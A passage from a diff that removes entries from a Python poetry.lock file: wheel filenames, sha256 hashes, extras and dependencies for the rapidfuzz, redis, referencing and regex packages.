"rapidfuzz-3.13.0-cp311-cp311-win32.whl", hash = "sha256:b5104b62711565e0ff6deab2a8f5dbf1fbe333c5155abe26d2cfd6f1849b6c87"}, - {file = "rapidfuzz-3.13.0-cp311-cp311-win_amd64.whl", hash = "sha256:9093cdeb926deb32a4887ebe6910f57fbcdbc9fbfa52252c10b56ef2efb0289f"}, - {file = "rapidfuzz-3.13.0-cp311-cp311-win_arm64.whl", hash = "sha256:f70f646751b6aa9d05be1fb40372f006cc89d6aad54e9d79ae97bd1f5fce5203"}, - {file = "rapidfuzz-3.13.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:4a1a6a906ba62f2556372282b1ef37b26bca67e3d2ea957277cfcefc6275cca7"}, - {file = "rapidfuzz-3.13.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:2fd0975e015b05c79a97f38883a11236f5a24cca83aa992bd2558ceaa5652b26"}, - {file = "rapidfuzz-3.13.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5d4e13593d298c50c4f94ce453f757b4b398af3fa0fd2fde693c3e51195b7f69"}, - {file = "rapidfuzz-3.13.0-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ed6f416bda1c9133000009d84d9409823eb2358df0950231cc936e4bf784eb97"}, - {file = "rapidfuzz-3.13.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1dc82b6ed01acb536b94a43996a94471a218f4d89f3fdd9185ab496de4b2a981"}, - {file = "rapidfuzz-3.13.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e9d824de871daa6e443b39ff495a884931970d567eb0dfa213d234337343835f"}, - {file = "rapidfuzz-3.13.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2d18228a2390375cf45726ce1af9d36ff3dc1f11dce9775eae1f1b13ac6ec50f"}, - {file = "rapidfuzz-3.13.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:9f5fe634c9482ec5d4a6692afb8c45d370ae86755e5f57aa6c50bfe4ca2bdd87"}, - {file = "rapidfuzz-3.13.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:694eb531889f71022b2be86f625a4209c4049e74be9ca836919b9e395d5e33b3"}, - {file = "rapidfuzz-3.13.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:11b47b40650e06147dee5e51a9c9ad73bb7b86968b6f7d30e503b9f8dd1292db"}, - {file = "rapidfuzz-3.13.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:98b8107ff14f5af0243f27d236bcc6e1ef8e7e3b3c25df114e91e3a99572da73"}, - {file = "rapidfuzz-3.13.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b836f486dba0aceb2551e838ff3f514a38ee72b015364f739e526d720fdb823a"}, - {file = "rapidfuzz-3.13.0-cp312-cp312-win32.whl", hash = "sha256:4671ee300d1818d7bdfd8fa0608580d7778ba701817216f0c17fb29e6b972514"}, - {file = "rapidfuzz-3.13.0-cp312-cp312-win_amd64.whl", hash = "sha256:6e2065f68fb1d0bf65adc289c1bdc45ba7e464e406b319d67bb54441a1b9da9e"}, - {file = "rapidfuzz-3.13.0-cp312-cp312-win_arm64.whl", hash = "sha256:65cc97c2fc2c2fe23586599686f3b1ceeedeca8e598cfcc1b7e56dc8ca7e2aa7"}, - {file = "rapidfuzz-3.13.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:09e908064d3684c541d312bd4c7b05acb99a2c764f6231bd507d4b4b65226c23"}, - {file = "rapidfuzz-3.13.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:57c390336cb50d5d3bfb0cfe1467478a15733703af61f6dffb14b1cd312a6fae"}, - {file = "rapidfuzz-3.13.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0da54aa8547b3c2c188db3d1c7eb4d1bb6dd80baa8cdaeaec3d1da3346ec9caa"}, - {file = "rapidfuzz-3.13.0-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:df8e8c21e67afb9d7fbe18f42c6111fe155e801ab103c81109a61312927cc611"}, - {file = "rapidfuzz-3.13.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:461fd13250a2adf8e90ca9a0e1e166515cbcaa5e9c3b1f37545cbbeff9e77f6b"}, - {file = "rapidfuzz-3.13.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c2b3dd5d206a12deca16870acc0d6e5036abeb70e3cad6549c294eff15591527"}, - {file = "rapidfuzz-3.13.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1343d745fbf4688e412d8f398c6e6d6f269db99a54456873f232ba2e7aeb4939"}, - {file = "rapidfuzz-3.13.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:b1b065f370d54551dcc785c6f9eeb5bd517ae14c983d2784c064b3aa525896df"}, - {file = "rapidfuzz-3.13.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:11b125d8edd67e767b2295eac6eb9afe0b1cdc82ea3d4b9257da4b8e06077798"}, - {file = "rapidfuzz-3.13.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:c33f9c841630b2bb7e69a3fb5c84a854075bb812c47620978bddc591f764da3d"}, - {file = "rapidfuzz-3.13.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:ae4574cb66cf1e85d32bb7e9ec45af5409c5b3970b7ceb8dea90168024127566"}, - {file = "rapidfuzz-3.13.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:e05752418b24bbd411841b256344c26f57da1148c5509e34ea39c7eb5099ab72"}, - {file = "rapidfuzz-3.13.0-cp313-cp313-win32.whl", hash = "sha256:0e1d08cb884805a543f2de1f6744069495ef527e279e05370dd7c83416af83f8"}, - {file = "rapidfuzz-3.13.0-cp313-cp313-win_amd64.whl", hash = "sha256:9a7c6232be5f809cd39da30ee5d24e6cadd919831e6020ec6c2391f4c3bc9264"}, - {file = "rapidfuzz-3.13.0-cp313-cp313-win_arm64.whl", hash = "sha256:3f32f15bacd1838c929b35c84b43618481e1b3d7a61b5ed2db0291b70ae88b53"}, - {file = "rapidfuzz-3.13.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:cc64da907114d7a18b5e589057e3acaf2fec723d31c49e13fedf043592a3f6a7"}, - {file = "rapidfuzz-3.13.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4d9d7f84c8e992a8dbe5a3fdbea73d733da39bf464e62c912ac3ceba9c0cff93"}, - {file = "rapidfuzz-3.13.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a79a2f07786a2070669b4b8e45bd96a01c788e7a3c218f531f3947878e0f956"}, - {file = "rapidfuzz-3.13.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9f338e71c45b69a482de8b11bf4a029993230760120c8c6e7c9b71760b6825a1"}, - {file = "rapidfuzz-3.13.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:adb40ca8ddfcd4edd07b0713a860be32bdf632687f656963bcbce84cea04b8d8"}, - {file = "rapidfuzz-3.13.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:48719f7dcf62dfb181063b60ee2d0a39d327fa8ad81b05e3e510680c44e1c078"}, - {file = "rapidfuzz-3.13.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9327a4577f65fc3fb712e79f78233815b8a1c94433d0c2c9f6bc5953018b3565"}, - {file = "rapidfuzz-3.13.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:200030dfc0a1d5d6ac18e993c5097c870c97c41574e67f227300a1fb74457b1d"}, - {file = "rapidfuzz-3.13.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:cc269e74cad6043cb8a46d0ce580031ab642b5930562c2bb79aa7fbf9c858d26"}, - {file = "rapidfuzz-3.13.0-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:e62779c6371bd2b21dbd1fdce89eaec2d93fd98179d36f61130b489f62294a92"}, - {file = "rapidfuzz-3.13.0-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:f4797f821dc5d7c2b6fc818b89f8a3f37bcc900dd9e4369e6ebf1e525efce5db"}, - {file = "rapidfuzz-3.13.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:d21f188f6fe4fbf422e647ae9d5a68671d00218e187f91859c963d0738ccd88c"}, - {file = "rapidfuzz-3.13.0-cp39-cp39-win32.whl", hash = "sha256:45dd4628dd9c21acc5c97627dad0bb791764feea81436fb6e0a06eef4c6dceaa"}, - {file = "rapidfuzz-3.13.0-cp39-cp39-win_amd64.whl", hash = "sha256:624a108122039af89ddda1a2b7ab2a11abe60c1521956f142f5d11bcd42ef138"}, - {file = "rapidfuzz-3.13.0-cp39-cp39-win_arm64.whl", hash = "sha256:435071fd07a085ecbf4d28702a66fd2e676a03369ee497cc38bcb69a46bc77e2"}, - {file = "rapidfuzz-3.13.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:fe5790a36d33a5d0a6a1f802aa42ecae282bf29ac6f7506d8e12510847b82a45"}, - {file = "rapidfuzz-3.13.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:cdb33ee9f8a8e4742c6b268fa6bd739024f34651a06b26913381b1413ebe7590"}, - {file = "rapidfuzz-3.13.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8c99b76b93f7b495eee7dcb0d6a38fb3ce91e72e99d9f78faa5664a881cb2b7d"}, - {file = "rapidfuzz-3.13.0-pp310-pypy310_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6af42f2ede8b596a6aaf6d49fdee3066ca578f4856b85ab5c1e2145de367a12d"}, - {file = "rapidfuzz-3.13.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c0efa73afbc5b265aca0d8a467ae2a3f40d6854cbe1481cb442a62b7bf23c99"}, - {file = "rapidfuzz-3.13.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:7ac21489de962a4e2fc1e8f0b0da4aa1adc6ab9512fd845563fecb4b4c52093a"}, - {file = "rapidfuzz-3.13.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:1ba007f4d35a45ee68656b2eb83b8715e11d0f90e5b9f02d615a8a321ff00c27"}, - {file = "rapidfuzz-3.13.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:d7a217310429b43be95b3b8ad7f8fc41aba341109dc91e978cd7c703f928c58f"}, - {file = "rapidfuzz-3.13.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:558bf526bcd777de32b7885790a95a9548ffdcce68f704a81207be4a286c1095"}, - {file = "rapidfuzz-3.13.0-pp311-pypy311_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:202a87760f5145140d56153b193a797ae9338f7939eb16652dd7ff96f8faf64c"}, - {file = "rapidfuzz-3.13.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cfcccc08f671646ccb1e413c773bb92e7bba789e3a1796fd49d23c12539fe2e4"}, - {file = "rapidfuzz-3.13.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:1f219f1e3c3194d7a7de222f54450ce12bc907862ff9a8962d83061c1f923c86"}, - {file = "rapidfuzz-3.13.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ccbd0e7ea1a216315f63ffdc7cd09c55f57851afc8fe59a74184cb7316c0598b"}, - {file = "rapidfuzz-3.13.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:a50856f49a4016ef56edd10caabdaf3608993f9faf1e05c3c7f4beeac46bd12a"}, - {file = "rapidfuzz-3.13.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fd05336db4d0b8348d7eaaf6fa3c517b11a56abaa5e89470ce1714e73e4aca7"}, - {file = "rapidfuzz-3.13.0-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:573ad267eb9b3f6e9b04febce5de55d8538a87c56c64bf8fd2599a48dc9d8b77"}, - {file = "rapidfuzz-3.13.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:30fd1451f87ccb6c2f9d18f6caa483116bbb57b5a55d04d3ddbd7b86f5b14998"}, - {file = "rapidfuzz-3.13.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:a6dd36d4916cf57ddb05286ed40b09d034ca5d4bca85c17be0cb6a21290597d9"}, - {file = "rapidfuzz-3.13.0.tar.gz", hash = "sha256:d2eaf3839e52cbcc0accbe9817a67b4b0fcf70aaeb229cfddc1c28061f9ce5d8"}, -] - -[package.extras] -all = ["numpy"] - -[[package]] -name = "redis" -version = "6.4.0" -description = "Python client for Redis database and key-value store" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "redis-6.4.0-py3-none-any.whl", hash = "sha256:f0544fa9604264e9464cdf4814e7d4830f74b165d52f2a330a760a88dd248b7f"}, - {file = "redis-6.4.0.tar.gz", hash = "sha256:b01bc7282b8444e28ec36b261df5375183bb47a07eb9c603f284e89cbc5ef010"}, -] - -[package.extras] -hiredis = ["hiredis (>=3.2.0)"] -jwt = ["pyjwt (>=2.9.0)"] -ocsp = ["cryptography (>=36.0.1)", "pyopenssl (>=20.0.1)", "requests (>=2.31.0)"] - -[[package]] -name = "referencing" -version = "0.36.2" -description = "JSON Referencing + Python" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "referencing-0.36.2-py3-none-any.whl", hash = "sha256:e8699adbbf8b5c7de96d8ffa0eb5c158b3beafce084968e2ea8bb08c6794dcd0"}, - {file = "referencing-0.36.2.tar.gz", hash = "sha256:df2e89862cd09deabbdba16944cc3f10feb6b3e6f18e902f7cc25609a34775aa"}, -] - -[package.dependencies] -attrs = ">=22.2.0" -rpds-py = ">=0.7.0" -typing-extensions = {version = ">=4.4.0", markers = "python_version < \"3.13\""} - -[[package]] -name = "regex" -version = "2025.7.34" -description = "Alternative regular expression module, to replace re." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "regex-2025.7.34-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d856164d25e2b3b07b779bfed813eb4b6b6ce73c2fd818d46f47c1eb5cd79bd6"}, - {file = "regex-2025.7.34-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2d15a9da5fad793e35fb7be74eec450d968e05d2e294f3e0e77ab03fa7234a83"}, - {file = "regex-2025.7.34-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:95b4639c77d414efa93c8de14ce3f7965a94d007e068a94f9d4997bb9bd9c81f"}, - {file = "regex-2025.7.34-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5d7de1ceed5a5f84f342ba4a9f4ae589524adf9744b2ee61b5da884b5b659834"}, - {file = "regex-2025.7.34-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:02e5860a250cd350c4933cf376c3bc9cb28948e2c96a8bc042aee7b985cfa26f"}, - {file = "regex-2025.7.34-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0a5966220b9a1a88691282b7e4350e9599cf65780ca60d914a798cb791aa1177"}, - {file = "regex-2025.7.34-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:48fb045bbd4aab2418dc1ba2088a5e32de4bfe64e1457b948bb328a8dc2f1c2e"}, - {file = "regex-2025.7.34-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:20ff8433fa45e131f7316594efe24d4679c5449c0ca69d91c2f9d21846fdf064"}, - {file = "regex-2025.7.34-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:c436fd1e95c04c19039668cfb548450a37c13f051e8659f40aed426e36b3765f"}, - {file = "regex-2025.7.34-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:0b85241d3cfb9f8a13cefdfbd58a2843f208f2ed2c88181bf84e22e0c7fc066d"}, - {file = "regex-2025.7.34-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:075641c94126b064c65ab86e7e71fc3d63e7ff1bea1fb794f0773c97cdad3a03"}, - {file = "regex-2025.7.34-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:70645cad3407d103d1dbcb4841839d2946f7d36cf38acbd40120fee1682151e5"}, - {file = "regex-2025.7.34-cp310-cp310-win32.whl", hash = "sha256:3b836eb4a95526b263c2a3359308600bd95ce7848ebd3c29af0c37c4f9627cd3"}, - {file = "regex-2025.7.34-cp310-cp310-win_amd64.whl", hash = "sha256:cbfaa401d77334613cf434f723c7e8ba585df162be76474bccc53ae4e5520b3a"}, - {file = "regex-2025.7.34-cp310-cp310-win_arm64.whl", hash = "sha256:bca11d3c38a47c621769433c47f364b44e8043e0de8e482c5968b20ab90a3986"}, - {file = "regex-2025.7.34-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:da304313761b8500b8e175eb2040c4394a875837d5635f6256d6fa0377ad32c8"}, - {file = "regex-2025.7.34-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:35e43ebf5b18cd751ea81455b19acfdec402e82fe0dc6143edfae4c5c4b3909a"}, - {file = "regex-2025.7.34-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:96bbae4c616726f4661fe7bcad5952e10d25d3c51ddc388189d8864fbc1b3c68"}, - {file = "regex-2025.7.34-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9feab78a1ffa4f2b1e27b1bcdaad36f48c2fed4870264ce32f52a393db093c78"}, - {file = "regex-2025.7.34-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f14b36e6d4d07f1a5060f28ef3b3561c5d95eb0651741474ce4c0a4c56ba8719"}, - {file = "regex-2025.7.34-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:85c3a958ef8b3d5079c763477e1f09e89d13ad22198a37e9d7b26b4b17438b33"}, - {file = "regex-2025.7.34-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:37555e4ae0b93358fa7c2d240a4291d4a4227cc7c607d8f85596cdb08ec0a083"}, - {file = "regex-2025.7.34-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:ee38926f31f1aa61b0232a3a11b83461f7807661c062df9eb88769d86e6195c3"}, - {file = "regex-2025.7.34-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:a664291c31cae9c4a30589bd8bc2ebb56ef880c9c6264cb7643633831e606a4d"}, - {file = "regex-2025.7.34-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:f3e5c1e0925e77ec46ddc736b756a6da50d4df4ee3f69536ffb2373460e2dafd"}, - {file = "regex-2025.7.34-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:d428fc7731dcbb4e2ffe43aeb8f90775ad155e7db4347a639768bc6cd2df881a"}, - {file = "regex-2025.7.34-cp311-cp311-win32.whl", hash = "sha256:e154a7ee7fa18333ad90b20e16ef84daaeac61877c8ef942ec8dfa50dc38b7a1"}, - {file = "regex-2025.7.34-cp311-cp311-win_amd64.whl", hash = "sha256:24257953d5c1d6d3c129ab03414c07fc1a47833c9165d49b954190b2b7f21a1a"}, - {file = "regex-2025.7.34-cp311-cp311-win_arm64.whl", hash = "sha256:3157aa512b9e606586900888cd469a444f9b898ecb7f8931996cb715f77477f0"}, - {file = "regex-2025.7.34-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:7f7211a746aced993bef487de69307a38c5ddd79257d7be83f7b202cb59ddb50"}, - {file = "regex-2025.7.34-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:fb31080f2bd0681484b275461b202b5ad182f52c9ec606052020fe13eb13a72f"}, - {file = "regex-2025.7.34-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0200a5150c4cf61e407038f4b4d5cdad13e86345dac29ff9dab3d75d905cf130"}, - {file = "regex-2025.7.34-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:739a74970e736df0773788377969c9fea3876c2fc13d0563f98e5503e5185f46"}, - {file = "regex-2025.7.34-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4fef81b2f7ea6a2029161ed6dea9ae13834c28eb5a95b8771828194a026621e4"}, - {file = "regex-2025.7.34-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ea74cf81fe61a7e9d77989050d0089a927ab758c29dac4e8e1b6c06fccf3ebf0"}, - {file = "regex-2025.7.34-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e4636a7f3b65a5f340ed9ddf53585c42e3ff37101d383ed321bfe5660481744b"}, - {file = "regex-2025.7.34-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:6cef962d7834437fe8d3da6f9bfc6f93f20f218266dcefec0560ed7765f5fe01"}, - {file = "regex-2025.7.34-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:cbe1698e5b80298dbce8df4d8d1182279fbdaf1044e864cbc9d53c20e4a2be77"}, - {file = "regex-2025.7.34-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:32b9f9bcf0f605eb094b08e8da72e44badabb63dde6b83bd530580b488d1c6da"}, - {file = "regex-2025.7.34-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:524c868ba527eab4e8744a9287809579f54ae8c62fbf07d62aacd89f6026b282"}, - {file = "regex-2025.7.34-cp312-cp312-win32.whl", hash = "sha256:d600e58ee6d036081c89696d2bdd55d507498a7180df2e19945c6642fac59588"}, - {file = "regex-2025.7.34-cp312-cp312-win_amd64.whl", hash = "sha256:9a9ab52a466a9b4b91564437b36417b76033e8778e5af8f36be835d8cb370d62"}, - {file = "regex-2025.7.34-cp312-cp312-win_arm64.whl", hash = "sha256:c83aec91af9c6fbf7c743274fd952272403ad9a9db05fe9bfc9df8d12b45f176"}, - {file = "regex-2025.7.34-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:c3c9740a77aeef3f5e3aaab92403946a8d34437db930a0280e7e81ddcada61f5"}, - {file = "regex-2025.7.34-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:69ed3bc611540f2ea70a4080f853741ec698be556b1df404599f8724690edbcd"}, - {file = "regex-2025.7.34-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d03c6f9dcd562c56527c42b8530aad93193e0b3254a588be1f2ed378cdfdea1b"}, - {file = "regex-2025.7.34-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6164b1d99dee1dfad33f301f174d8139d4368a9fb50bf0a3603b2eaf579963ad"}, - {file = "regex-2025.7.34-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1e4f4f62599b8142362f164ce776f19d79bdd21273e86920a7b604a4275b4f59"}, - {file = "regex-2025.7.34-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:72a26dcc6a59c057b292f39d41465d8233a10fd69121fa24f8f43ec6294e5415"}, - {file = "regex-2025.7.34-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d5273fddf7a3e602695c92716c420c377599ed3c853ea669c1fe26218867002f"}, - {file = "regex-2025.7.34-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:c1844be23cd40135b3a5a4dd298e1e0c0cb36757364dd6cdc6025770363e06c1"}, - {file = "regex-2025.7.34-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:dde35e2afbbe2272f8abee3b9fe6772d9b5a07d82607b5788e8508974059925c"}, - {file = "regex-2025.7.34-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:f3f6e8e7af516a7549412ce57613e859c3be27d55341a894aacaa11703a4c31a"}, - {file = "regex-2025.7.34-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:469142fb94a869beb25b5f18ea87646d21def10fbacb0bcb749224f3509476f0"}, - {file = "regex-2025.7.34-cp313-cp313-win32.whl", hash = "sha256:da7507d083ee33ccea1310447410c27ca11fb9ef18c95899ca57ff60a7e4d8f1"}, - {file = "regex-2025.7.34-cp313-cp313-win_amd64.whl", hash = "sha256:9d644de5520441e5f7e2db63aec2748948cc39ed4d7a87fd5db578ea4043d997"}, - {file = "regex-2025.7.34-cp313-cp313-win_arm64.whl", hash = "sha256:7bf1c5503a9f2cbd2f52d7e260acb3131b07b6273c470abb78568174fe6bde3f"}, - {file = "regex-2025.7.34-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:8283afe7042d8270cecf27cca558873168e771183d4d593e3c5fe5f12402212a"}, - {file = "regex-2025.7.34-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:6c053f9647e3421dd2f5dff8172eb7b4eec129df9d1d2f7133a4386319b47435"}, - {file = "regex-2025.7.34-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a16dd56bbcb7d10e62861c3cd000290ddff28ea142ffb5eb3470f183628011ac"}, - {file = "regex-2025.7.34-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:69c593ff5a24c0d5c1112b0df9b09eae42b33c014bdca7022d6523b210b69f72"}, - {file = "regex-2025.7.34-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:98d0ce170fcde1a03b5df19c5650db22ab58af375aaa6ff07978a85c9f250f0e"}, - {file = "regex-2025.7.34-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d72765a4bff8c43711d5b0f5b452991a9947853dfa471972169b3cc0ba1d0751"}, - {file = "regex-2025.7.34-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4494f8fd95a77eb434039ad8460e64d57baa0434f1395b7da44015bef650d0e4"}, - {file = "regex-2025.7.34-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:4f42b522259c66e918a0121a12429b2abcf696c6f967fa37bdc7b72e61469f98"}, - {file = "regex-2025.7.34-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:aaef1f056d96a0a5d53ad47d019d5b4c66fe4be2da87016e0d43b7242599ffc7"}, - {file = "regex-2025.7.34-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:656433e5b7dccc9bc0da6312da8eb897b81f5e560321ec413500e5367fcd5d47"}, - {file = "regex-2025.7.34-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:e91eb2c62c39705e17b4d42d4b86c4e86c884c0d15d9c5a47d0835f8387add8e"}, - {file = "regex-2025.7.34-cp314-cp314-win32.whl", hash = "sha256:f978ddfb6216028c8f1d6b0f7ef779949498b64117fc35a939022f67f810bdcb"}, - {file = "regex-2025.7.34-cp314-cp314-win_amd64.whl", hash = "sha256:4b7dc33b9b48fb37ead12ffc7bdb846ac72f99a80373c4da48f64b373a7abeae"}, - {file = "regex-2025.7.34-cp314-cp314-win_arm64.whl", hash = "sha256:4b8c4d39f451e64809912c82392933d80fe2e4a87eeef8859fcc5380d0173c64"}, - {file = "regex-2025.7.34-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:fd5edc3f453de727af267c7909d083e19f6426fc9dd149e332b6034f2a5611e6"}, - {file = "regex-2025.7.34-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:fa1cdfb8db96ef20137de5587954c812821966c3e8b48ffc871e22d7ec0a4938"}, - {file = "regex-2025.7.34-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:89c9504fc96268e8e74b0283e548f53a80c421182a2007e3365805b74ceef936"}, - {file = "regex-2025.7.34-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:33be70d75fa05a904ee0dc43b650844e067d14c849df7e82ad673541cd465b5f"}, - {file = "regex-2025.7.34-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:57d25b6732ea93eeb1d090e8399b6235ca84a651b52d52d272ed37d3d2efa0f1"}, - {file = "regex-2025.7.34-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = 